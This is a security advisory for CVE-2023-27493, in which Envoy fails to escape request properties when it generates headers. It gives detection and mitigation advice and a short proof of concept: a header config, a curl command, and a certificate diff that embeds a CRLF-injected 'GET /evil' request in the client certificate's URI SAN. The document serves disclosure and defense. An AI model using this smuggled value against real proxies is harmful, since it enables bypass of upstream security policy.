Headline
CVE-2023-27493: Envoy doesn't escape HTTP header values
Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to versions 1.26.0, 1.25.3, 1.24.4, 1.23.6, and 1.22.9, Envoy does not sanitize or escape request properties when generating request headers. This can lead to characters that are illegal in header values to be sent to the upstream service. In the worst case, it can cause upstream service to interpret the original request as two pipelined requests, possibly bypassing the intent of Envoy’s security policy. Versions 1.26.0, 1.25.3, 1.24.4, 1.23.6, and 1.22.9 contain a patch. As a workaround, disable adding request headers based on the downstream request properties, such as downstream certificate properties.
Impact
Request smuggling and bypass of security policies.
Affected components
HTTP
Attack vector/s
A specifically constructed HTTP request or mTLS connection with a specifically crafted client certificate.
Envoy configuration must also include an option to add request headers that were generated using inputs from the request, i.e. the peer certificate SAN.
Description
Envoy does not sanitize or escape request properties when generating request headers. This can lead to characters that are illegal in header values to be sent to the upstream service.
In the worst case it can cause upstream service to interpret the original request as two pipelined requests, possibly bypassing the intent of Envoy’s security policy.
Example exploit or proof-of-concept
First add a configuration to add request headers on requests to upstream.
+ request_headers_to_add: + - header: + key: x-foo + value: “%DOWNSTREAM_PEER_FINGERPRINT_256% %DOWNSTREAM_PEER_URI_SAN%”
Then with curl:
curl -v --cacert test/config/integration/certs/servercert.pem --cert /tmp/clientcert.pem --key /tmp/clientkey.pem https://lyft.com:10000 --resolve lyft.com:10000:127.0.0.1 -H “Host: 127.0.0.1:20000”
The client cert/key were generated via test/config/integration/certs/certs.sh with the following patch:
diff --git a/test/config/integration/certs/clientcert.cfg b/test/config/integration/certs/clientcert.cfg index 59da6cb1ee…68f913d1bd 100644 — a/test/config/integration/certs/clientcert.cfg +++ b/test/config/integration/certs/clientcert.cfg @@ -35,6 +35,6 @@ subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always
[alt_names] -URI.1 = spiffe://lyft.com/frontend-team +URI.1 = spiffe://lyft.com/\r\n\r\nGET /evil HTTP/1.1\r\n\r\nfrontend-team DNS.1 = lyft.com DNS.2 = www.lyft.com
Detection
The detection is possible if the request properties that are used to synthesize new headers are recorded in the access log. Examining the request log for presence of illegal characters, such as CR or LF, can indicate a possible attack.
Mitigation
Disable adding request headers based on the downstream request properties, such as downstream certificate properties.
Related news
Red Hat Security Advisory 2023-4623-01 - Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio service mesh project, tailored for installation into an OpenShift Container Platform installation.
Red Hat OpenShift Service Mesh 2.2.9 Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-27487: A flaw was found in envoy. The header x-envoy-original-path should be an internal header, but Envoy does not remove this header from the request at the beginning of request processing when it is sent from an untrusted client. The faked header could then be used for trace logs and grpc logs, used in the URL for jwt_authn checks if the jwt_authn filter is used, and any other upstr...
gRPC contains a vulnerability that allows hpack table accounting errors could lead to unwanted disconnects between clients and servers in exceptional cases/ Three vectors were found that allow the following DOS attacks: - Unbounded memory buffering in the HPACK parser - Unbounded CPU consumption in the HPACK parser The unbounded CPU consumption is down to a copy that occurred per-input-block in the parser, and because that could be unbounded due to the memory copy bug we end up with an O(n^2) parsing loop, with n selected by the client. The unbounded memory buffering bugs: - The header size limit check was behind the string reading code, so we needed to first buffer up to a 4 gigabyte string before rejecting it as longer than 8 or 16kb. - HPACK varints have an encoding quirk whereby an infinite number of 0’s can be added at the start of an integer. gRPC’s hpack parser needed to read all of them before concluding a parse. - gRPC’s metadata overflow check was performed per frame, so ...